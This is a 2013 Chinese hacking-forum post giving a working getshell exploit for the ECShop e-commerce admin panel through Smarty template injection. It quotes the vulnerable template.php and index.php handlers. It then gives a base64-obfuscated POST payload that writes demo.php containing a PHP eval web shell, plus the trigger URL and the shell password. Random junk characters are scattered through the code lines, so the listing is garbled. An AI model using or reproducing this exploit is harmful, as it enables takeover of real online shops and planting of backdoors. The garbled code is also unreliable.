找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2772|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板$ g6 F8 n. j' q

! k* [6 ]( P. ~" q2 ]2 K而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了9 \8 p! b- A4 O5 _' n
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码( X8 \3 k! j* b. x6 \
admin/template.php) R4 k* I9 [* V+ \; n" p
3 [, B6 r  c& o; ~5 A+ ]1 C, e1 A
1 if ($_REQUEST['act'] == 'update_library') 9 u# F) z1 K, Q; S8 ]
' H, b7 d; u+ a0 k0 d; C0 V
2   
2 I/ z8 v5 [) c8 Z. j, u# q
3 T4 k4 L' q2 j9 g# h# I3 {
1 R  `$ t0 j# t2 k8 K: B
, l" P- F' ?+ Q$ s8 M4     check_authz_json('library_manage'); 6 Y- ?' o1 Y% l% r0 W4 @
! [; w9 ]) J6 F$ U4 v8 o
5   
  H, ?, F; H* D, V( U+ v. T6 I* }2 y" Y6 G6 U
6     $html = stripslashes(json_str_iconv($_POST['html']));
' [, m/ Y( k: D: X
! N# G0 H( h3 W1 t7   
0 T. y& c3 B; }/ b% o- E( `5 k- Z0 g6 a# ?; J/ w+ _* `2 T
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 % ~4 n7 b9 c1 E9 w& e
( @4 T& C/ @- [2 L& R! i1 b) |
9   
8 x4 T7 P; @. A/ a
2 o# c& X% X4 v2 [10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 - J5 I$ U% o' B9 T1 F- q0 k9 c& {* I
; ]8 U1 w- A8 J5 m8 l4 Q
11   
, o( v: n" c/ }8 @
& P4 ~( s6 l) S3 x1 `7 @12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 6 i$ J4 {7 m& X& Z5 F
% Z1 q: ]9 D& ?
13   
+ A$ P* F7 D6 ]8 ]
8 {  b8 A4 A0 j) e9 s( c14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: X( g4 M) a/ b6 k( ]
2 p7 a# e4 M3 Q. N15     {
' |( f, h7 z4 J( z5 l+ K0 l8 S/ u, t
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
, ~4 V9 e0 {" L9 i2 i3 ^1 m) d& N) G7 Q- X# }/ x
17         make_json_result('', $_LANG['update_lib_success']); 6 K/ G0 W" B( a4 e+ m

* g# v5 r, Y$ Y. c# C+ P/ M18     } ! r& ~, k  D! z& q3 t: G

. X% S6 T) m# n) i* D19     else
: s' p6 B! q$ f8 P# T# o
4 f2 U& @9 `* \0 {! L: M( ], ]& l20     {
: Q* n1 `% {7 G/ d$ c. Z9 l: |! v( _
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ' b- A- w, a; q: ^$ b- l
; [& V+ p& K. l, u) d
22     }
6 O6 P( T  |! B
6 U8 R" G) v( G( }: l" K23 }
6 |8 H- i# L2 N6 m# ~1 a- k+ z9 ]% ~' n7 ], U' X% I: @$ E
那么找个比较方便调用了模板的文件
# e0 v) a4 F7 \7 ]% U3 qindex.php" V. F& f# S! O0 c  t
5 Y" R& E7 E5 D6 B& D- m5 O' k
1 if ($act == 'cat_rec')
' a$ g! h" j: b1 Q9 P) m7 q/ g: N/ f1 e
2   + W5 H, v; i8 k# V% ]; B7 o% m5 R) m

$ }! Y9 H) B9 X' G3 m9 t, X- U$ W3 { ; b7 U9 O2 e$ [

" L5 C9 E1 y. R& l2 l; ^9 E  k4   
* S, r' g9 O3 e6 T0 s' s4 j- M) R( z" m0 j6 @! H% W- V& q
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); # ]4 g4 Q' i+ i8 [
' a& \0 |/ \) Z  [
6   
; A" a2 J# ^! t" @; S
5 ]7 u2 q; N( |; U8 O) L, x# E7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
* I5 s" i0 u; j0 O* w6 [% h) I+ S/ E0 N& G
8   + d- G4 r0 x2 t) o  b1 a) U

+ i5 k  G( t5 ^6 f2 [6 H- p9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; - C$ \1 j( n+ G( n& f
# F' I7 j* @2 z+ U" k
10   
% ^# t& m+ L; ]  i9 @+ c
4 K, r- E  d0 O2 I) f$ K11     include_once('includes/cls_json.php'); % S3 N0 h* W8 @- g: O  h( y

/ q/ F) J' c; n, y, {1 z' Q" z12   4 @" `/ D, @6 z& U5 v$ o

3 y* x4 k( J! `- O: _+ r9 s13     $json = new JSON; / B0 z. o: g) R! F$ A
* q2 `& o8 A1 P9 k& w
14   2 l$ c: l9 u% D$ b" G

' m7 Y8 l6 a( i( Q; h& r15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 6 W. a2 [/ o  @

& h! {) Z( k- v, I1 `& z8 ]. e16   
: `2 W$ |/ i' n. u/ w# m! L0 Q5 q# a: q, A- ^
17     $children = get_children($cat_id); 2 A0 \" S/ B% T7 z" f
( k  [- n6 L0 o, U
18   
' @4 Z8 @- R3 R; f1 F7 q
( g% I4 B, g" _5 Q19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品   n2 B: ]2 C' c' K$ g5 m; R
+ N6 k) }$ `6 O" w" [
20   3 s) T2 Z/ |7 t4 g
1 }" F+ Y' T) Q, w
21     $smarty->assign('cat_rec_sign', 1);
( F5 e" d# o. J2 I7 t5 m+ U, Q0 Q) s0 S) E+ k: F" L
22   
$ z0 i8 i3 k6 \% y
2 ]' p3 ~  j' c0 v( r23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* r: F* V' z) {6 s6 K9 @9 F- ?9 {4 \$ V# r! @& s
24   
( R3 y8 Q! C3 n8 f8 e
$ Z7 o% I1 o; O% r25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; " W! _1 s3 t9 Z5 W, [6 V

+ q6 M0 d. v1 @$ X6 Z+ g5 `& X7 f26   
* W* w0 u- ?  ^6 A2 j0 C3 y9 q( b' `6 P0 C
27         echo $rec_array[$rec_type]; . V4 r" a  T/ r+ c) Z/ I
8 v9 }- K$ e9 o9 M$ \
28   / `! A$ N% o0 A" e2 c: |8 l

% [' m  [- U. k5 h2 n- h% J29     die($json->encode($result)); % [& y" S% t% P' B# x5 {* e

2 T5 K9 `; I5 b1 l30   
2 h2 m  ^1 [# w' R! ?" N. a/ g0 u" W4 n! `: k6 C: @+ G$ ]
31 } " ~; a4 E+ t8 L: v4 {5 p
  q. g& t0 N3 G8 e( `3 \& C8 n! X2 L: R
那么就有利用方法了
, s) D' O; i) R+ @; `7 bpost包到http://localhost/ec/admin/template.php?act=update_library
8 E- |- G: X4 O. F/ ]4 b$ jPost内容:1 B$ V& Z& z6 t/ `5 R) d. i5 Z6 M
4 n: @' I. f* R
​
! y9 H) ^" k9 _- K4 ?: j1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} & g$ Y% u7 u% O  s( h

6 E5 U7 R0 U3 e* p然后访问http://localhost/ec/index.php?act=cat_rec
4 A  g7 @7 _: `
3 _- s: t- _$ m8 k0 e/ ~shel地址:http://localhost/ec/demo.php2 _/ B% M  ]; j; G7 @
密码c
/ c4 V( c' _+ J8 ?: y# V6 W. N# g9 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表